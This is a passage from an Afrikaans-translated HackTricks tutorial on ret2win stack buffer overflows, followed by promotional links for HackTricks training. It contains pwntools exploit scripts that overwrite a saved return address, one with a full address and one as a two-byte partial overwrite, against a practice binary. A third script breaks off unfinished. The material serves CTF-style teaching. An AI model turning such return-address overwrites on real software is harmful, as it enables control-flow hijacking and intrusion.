from pwn import*# Configurationbinary_name ='./ret2win'p =process(binary_name)# Prepare the payloadoffset =72ret2win_addr =p64(0x00000000004006c4)payload =b'A'* offset + ret2win_addr# Send the payloadp.send(payload)# Check responseprint(p.recvline())p.close()
Off-by-1
Werklik gaan dit meer soos 'n off-by-2 wees in die gestoor PC in die stapel. In plaas daarvan om al die terugkeeradresse te oorskryf, gaan ons slegs die laaste 2 bytes met 0x06c4 oorskryf.
from pwn import*# Configurationbinary_name ='./ret2win'p =process(binary_name)# Prepare the payloadoffset =72ret2win_addr =p16(0x06c4)payload =b'A'* offset + ret2win_addr# Send the payloadp.send(payload)# Check responseprint(p.recvline())p.close()
Sonder 'n leak weet ons nie die presiese adres van die wen-funksie nie, maar ons kan die offset van die funksie vanaf die binêre weet en, aangesien die terugadres wat ons oorskryf reeds na 'n naby adres wys, is dit moontlik om die offset na die wen-funksie (0x7d4) in hierdie geval te lek en net daardie offset te gebruik:
```python from pwn import *
Configuration
binary_name = './ret2win' p = process(binary_name)
<div data-gb-custom-block data-tag="hint" data-style='success'>
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
</div>